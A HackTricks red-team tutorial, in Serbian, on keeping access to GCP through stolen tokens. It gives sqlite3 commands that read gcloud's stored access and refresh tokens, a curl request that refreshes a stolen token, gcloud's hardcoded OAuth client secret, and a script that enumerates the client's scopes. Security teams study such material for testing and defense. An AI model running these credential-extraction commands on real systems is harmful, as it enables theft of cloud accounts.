GCP - Token Persistence

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Tokeni autentifikovanih korisnika

Da biste dobili trenutni token korisnika, možete pokrenuti:

bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Proverite na ovoj stranici kako da direktno koristite ovaj token koristeći gcloud:

Cloud SSRF - HackTricks

Da biste dobili detalje za generisanje novog pristupnog tokena, pokrenite:

bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Takođe je moguće pronaći refresh tokene u $HOME/.config/gcloud/application_default_credentials.json i u $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Da biste dobili novi osveženi pristupni token sa refresh tokenom, ID-jem klijenta i tajnom klijenta, pokrenite:

bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Važenje refresh tokena može se upravljati u Admin > Security > Google Cloud session control, a prema zadanim postavkama postavljeno je na 16h, iako se može postaviti da nikada ne istekne:

Auth flow

Tok autentifikacije kada se koristi nešto poput gcloud auth login otvorit će prozor u pregledniku, a nakon prihvatanja svih opsega, preglednik će poslati zahtev kao što je ovaj na http port otvoren od strane alata:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Zatim, gcloud će koristiti stanje i kod sa nekim hardkodiranim client_id (32555940559.apps.googleusercontent.com) i client_secret (ZmssLNjJy2998hD4CTg2ejr2) da dobije konačne podatke o refresh tokenu.

caution

Imajte na umu da je komunikacija sa localhost-om u HTTP-u, tako da je moguće presresti podatke da bi se dobio refresh token, međutim, ovi podaci su validni samo 1 put, tako da bi to bilo beskorisno, lakše je jednostavno pročitati refresh token iz datoteke.

OAuth Scopes

Možete pronaći sve Google scope-ove na https://developers.google.com/identity/protocols/oauth2/scopes ili ih dobiti izvršavanjem:

bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Moguće je videti koje opsege aplikacija koja gcloud koristi za autentifikaciju može podržati pomoću ovog skripta:

bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Nakon izvršavanja, provereno je da ova aplikacija podržava ove opsege:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

zanimljivo je videti kako ova aplikacija podržava drive opseg, što bi moglo omogućiti korisniku da eskalira sa GCP na Workspace ako napadač uspe da primora korisnika da generiše token sa ovim opsegom.

Proverite kako da zloupotrebite ovo ovde.

Računi usluga

Baš kao i kod autentifikovanih korisnika, ako uspete da kompromitujete privatni ključ računa usluge, moći ćete da pristupite njemu obično koliko god želite.
Međutim, ako ukradete OAuth token računa usluge, to može biti još zanimljivije, jer, čak i ako su ovi tokeni po defaultu korisni samo sat vremena, ako žrtva obriše privatni API ključ, OAuth token će i dalje biti važeći dok ne istekne.

Metapodaci

Očigledno, sve dok ste unutar mašine koja radi u GCP okruženju, moći ćete da pristupite računu usluge povezanom sa tom mašinom kontaktirajući metapodatkovni krajnji tačku (napomena da su Oauth tokeni kojima možete pristupiti na ovoj krajnjoj tački obično ograničeni opsegom).

Remedijacije

Neke remedijacije za ove tehnike su objašnjene u https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks